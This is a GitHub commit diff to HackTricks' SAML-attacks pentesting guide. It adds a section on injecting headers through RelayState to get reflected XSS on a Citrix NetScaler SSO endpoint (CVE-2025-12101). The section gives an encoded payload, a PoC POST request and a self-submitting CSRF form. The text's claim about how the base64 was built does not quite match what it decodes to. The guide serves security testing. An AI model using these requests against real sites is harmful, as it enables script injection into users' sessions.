Skip to content

Commit 1c3ec21

Browse files
authored
Merge pull request #1571 from HackTricks-wiki/update_Is_it_CitrixBleed4__Well_no__Is_it_good__Also_no___20251112_182921
Is it CitrixBleed4? Well no. Is it good? Also no. Citrix Net...
2 parents 6b674af + 2dbffd5 commit 1c3ec21

File tree

1 file changed

+59
-3
lines changed

1 file changed

+59
-3
lines changed

src/pentesting-web/saml-attacks/README.md

Lines changed: 59 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ require 'rexml/document'
2525
doc = REXML::Document.new <<XML
2626
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
2727
<X>
28-
<Y/><![CDATA[--><X><Z/><!--]]>-->
28+
<Y/><![CDATA[--><X><Z/><!--]]]>
2929
</X>
3030
XML
3131

@@ -297,13 +297,69 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
297297
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
298298
```
299299

300+
## RelayState-based header/body injection to rXSS
301+
302+
Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.
303+
304+
- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](../crlf-0d-0a.md).
305+
- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
306+
307+
Generalized steps:
308+
309+
1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:
310+
311+
Concept:
312+
313+
```text
314+
\n
315+
Content-Type: text/html
316+
317+
318+
<svg/onload=alert(1)>
319+
```
320+
2. URL-encode the sequence (example):
321+
322+
```text
323+
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
324+
```
325+
3. Base64-encode that URL-encoded string and place it in `RelayState`.
326+
327+
Example base64 (from the sequence above):
328+
329+
```text
330+
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
331+
```
332+
4. Send a POST with a syntactically valid `SAMLResponse` and the crafted `RelayState` to the SSO endpoint (e.g., `/cgi/logout`).
333+
5. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.
334+
335+
PoC against a NetScaler SSO endpoint (`/cgi/logout`):
336+
337+
```http
338+
POST /cgi/logout HTTP/1.1
339+
Host: target
340+
Content-Type: application/x-www-form-urlencoded
341+
342+
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
343+
```
344+
345+
CSRF delivery pattern:
346+
347+
```html
348+
<form action="https://target/cgi/logout" method="POST" id="p">
349+
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
350+
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
351+
</form>
352+
<script>document.getElementById('p').submit()</script>
353+
```
354+
355+
Why it works: the server decodes `RelayState` and incorporates it into the response in a way that permits newline injection, letting the attacker influence headers and body. Forcing `Content-Type: text/html` causes the browser to render the attacker-controlled HTML from the response body.
356+
300357
## References
301358

302359
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
303360
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
304361
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
305362
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
363+
- [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)
306364

307365
{{#include ../../banners/hacktricks-training.md}}
308-
309-

0 commit comments

Comments
 (0)